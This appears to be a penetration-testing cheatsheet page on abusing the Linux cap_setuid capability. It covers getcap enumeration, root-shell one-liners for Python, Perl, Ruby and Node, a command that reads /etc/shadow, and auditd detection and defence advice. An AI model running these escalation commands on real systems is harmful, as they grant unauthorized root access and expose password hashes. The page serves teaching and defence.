the_open_door
coffee
ESEN
← Back to index

cap_setuid capability abuse

Full command arsenal in the cheatsheet

Linux capabilities split root's privileges into slices assignable to specific binaries, so you don't have to give them full root SUID. The cap_setuid capability grants one of those pieces: it lets the process change its UID to any value, including 0, without being root. On a general-purpose interpreter (Python, Perl, Ruby, Node...) this is equivalent to a root SUID, because the interpreter can call setuid(0) and then launch a shell.

Enumeration

Capabilities show in neither sudo -l nor among the classic SUIDs (find / -perm -4000), which is why they're overlooked. You enumerate them with getcap:

getcap -r / 2>/dev/null
# /usr/bin/python3.10 cap_setuid=ep
/usr/sbin/getcap -r / 2>/dev/null       # absolute path if getcap isn't in PATH
getcap $(which python3 perl ruby node php) 2>/dev/null

The =ep suffix means effective + permitted: the capability is active. linpeas and pspy also report them, but getcap -r / is the direct route.

Exploitation

Set the UID to 0 and open a shell. The one-liner varies with the interpreter carrying the capability:

# Python
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# Ruby
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# Node
/usr/bin/node -e 'process.setuid(0); require("child_process").spawnSync("/bin/bash",{stdio:[0,1,2]})'

The same approach works for other dangerous capabilities: cap_dac_read_search (read any file bypassing permissions, e.g. /etc/shadow via python -c 'print(open("/etc/shadow").read())'), cap_dac_override (read and write any file, rewrite /etc/passwd or /etc/shadow), cap_sys_admin (almost everything) or cap_sys_ptrace (injection into root processes, see cap_sys_ptrace abuse). GTFOBins documents the concrete vector per binary.

Requirements

The capability must be effective or at least permitted (ep/p) on a binary that runs attacker-controllable code: an interpreter, or a binary that runs a manipulable command. A binary that only uses the capability for a fixed action (a service dropping privileges) isn't always exploitable.

How to detect it. The signature is a setuid(0) (or setresuid) call from a non-root process followed by spawning a shell, which a legitimate cap_setuid binary never does: auditd over the setuid/execve syscalls (-a always,exit -F arch=b64 -S setuid -S setresuid) or Sysmon for Linux catch the interpreter switching UID and launching bash. At rest, a periodic getcap -r / inventory that suddenly shows a capability on python/perl/ruby is a backdoor indicator. The lineage python3 -> bash with a UID transition from 1000 to 0 is the proof.

Defence. Assign capabilities only to binaries that genuinely need them and never to interpreters; review getcap -r / periodically; strip the capability with setcap -r <binary> once it is no longer needed. Related to SUID binary abuse and other Linux privilege paths.

Toolsgetcap

Machines where it's used